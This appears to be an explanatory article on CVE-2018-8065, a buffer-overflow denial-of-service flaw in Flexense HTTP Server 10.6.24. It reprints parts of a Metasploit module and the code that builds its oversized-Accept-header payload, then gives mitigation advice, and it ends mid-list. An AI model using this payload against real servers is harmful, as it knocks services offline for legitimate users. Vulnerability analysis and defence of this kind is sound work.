Flexense HTTP Server 10.6.24 - Buffer Overflow (DoS) (Metasploit)

Flexense HTTP Server 10.6.24 Buffer Overflow Vulnerability (CVE-2018-8065): A Deep Dive into Denial of Service Exploitation

On March 9, 2018, cybersecurity researcher Ege Balci disclosed a critical vulnerability in the Flexense HTTP Server, version 10.6.24 and earlier. This flaw, identified as CVE-2018-8065, enables remote attackers to trigger a Denial of Service (DoS) condition through a buffer overflow in the server's handling of HTTP header values. The exploit leverages a memory violation in user-mode code, making it a prime example of how improper input validation can lead to system instability.

Understanding the Vulnerability: Buffer Overflow in HTTP Header Processing

At its core, the vulnerability arises from the server’s inadequate handling of excessively long Accept headers in HTTP requests. When a client sends a request with a Accept header containing thousands of repeated characters (e.g., A), the server attempts to process this data without proper bounds checking. This results in a buffer overflow, where memory beyond the allocated buffer is overwritten, leading to a crash or system freeze.

Unlike traditional buffer overflow exploits that aim for code execution (e.g., shellcode injection), this vulnerability is purely DoS-oriented. It does not allow remote code execution but instead disrupts service availability by overwhelming the server's memory management routines.

Exploitation via Metasploit Framework

As part of the Metasploit Framework, a widely used penetration testing platform, a dedicated auxiliary module was developed to exploit this vulnerability. The module, authored by Ege Balci, automates the process of sending malformed HTTP requests to induce a crash.

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Dos
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Flexense HTTP Server Denial Of Service',
      'Description' => %q{
        This module triggers a Denial of Service vulnerability in the Flexense HTTP server.
        Vulnerability caused by a user mode write access memory violation and can be triggered with
        rapidly sending variety of HTTP requests with long HTTP header values.
      },
      'Author' => [ 'Ege Balci ' ],
      'License' => MSF_LICENSE,
      'References' => [
        [ 'CVE', '2018-8065' ],
        [ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ]
      ],
      'DisclosureDate' => '2018-03-09'
    ))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)", 1725 ]),
        OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090)", rand(4088..5090) ])
      ]
    )
  end

Explanation: This Ruby-based module defines a remote TCP-based DoS exploit. It includes:

• Opt::RPORT(80) – Sets the default target port to 80, standard for HTTP.
• PacketCount – Defines how many malformed packets to send (recommended >1725).
• PacketSize – Specifies the length of the Accept header (optimized between 4088–5090 bytes).

The module uses Rex::Text.rand_text_alpha to generate random path strings, making each request unique while maintaining the exploitable payload structure.

Exploit Execution: Crafting Malformed HTTP Requests

Inside the run method, the exploit constructs a series of HTTP requests with deliberately oversized Accept headers:

payload = ""
payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n"
payload << "Host: 127.0.0.1\r\n"
payload << "Accept: "+('A' * size)+"\r\n"
payload << "\r\n\r\n"

Explanation: The payload is constructed as follows:

• GET /... HTTP/1.1 – Standard HTTP GET request with a randomized path.
• Host: 127.0.0.1 – Uses a loopback address to avoid routing issues.
• Accept: A * size – The core vulnerability trigger: a header with 4,088 to 5,090 A characters.
• \r\n\r\n – Proper HTTP request termination.

By sending this payload repeatedly, the server’s memory buffer is overwhelmed, leading to a crash. The exploit is designed to be resilient to network issues (e.g., timeouts, resets) by using rescue blocks to continue sending packets even if some fail.

Real-World Impact and Risk Assessment

Flexense HTTP Server is used in various enterprise applications, including Sync Breeze Enterprise, a file synchronization tool. Vulnerable versions (≤10.6.24) were found in deployed systems across Europe and Asia. The DoS attack can:

• Terminate server processes.
• Prevent legitimate users from accessing services.
• Disrupt critical workflows in data synchronization environments.

While no remote code execution is possible, the impact is severe. Organizations relying on these servers may experience downtime lasting hours, especially if the service lacks redundancy or automatic recovery.

Mitigation and Best Practices

Security professionals should adopt the following measures:

• Upgrade to fixed versions: Ensure all Flexense HTTP Server installations are updated to version 10.6.25 or later.
• Implement input validation: Use robust parsing libraries that enforce header length limits (e.g., 1024 bytes).
• Rate limiting: Deploy firewalls or load balancers to restrict the number of requests per second from a single IP.
• Monitor logs: Detect patterns of repeated large headers and flag them as potential attacks.

Additionally, developers should avoid using unsafe functions like strcpy or strcat in C/C++ code. Instead, prefer strncpy or snprintf with explicit buffer bounds.

Technical Insights: Why This Exploit Works

Buffer overflow vulnerabilities often stem from poor boundary checks. In this case, the server likely uses a fixed-size buffer to store header values, but fails to validate input length before copying data. When the Accept header exceeds buffer capacity, memory corruption occurs. This is particularly dangerous in user-mode execution, where a crash may not be caught by kernel-level protections.

Moreover, the exploit’s success depends on:

• Packet count: Sending 1,725+ packets increases the likelihood of triggering the overflow.
• Packet size: 4,088–5,090 bytes is optimal—large enough to overflow but not so large as to cause immediate connection failure.
• Randomized paths: Prevents detection by simple pattern matching.

Conclusion: A Lesson in Secure Design

The Flexense HTTP Server vulnerability serves as a stark reminder that even seemingly benign features—like HTTP header handling—can become critical attack vectors if not properly secured. The CVE-2018-8065 exploit demonstrates how a simple buffer overflow, when exploited at scale, can cause widespread disruption.

For cybersecurity teams, this case underscores the importance of:

• Regular vulnerability scanning.
• Proactive patching of third-party components.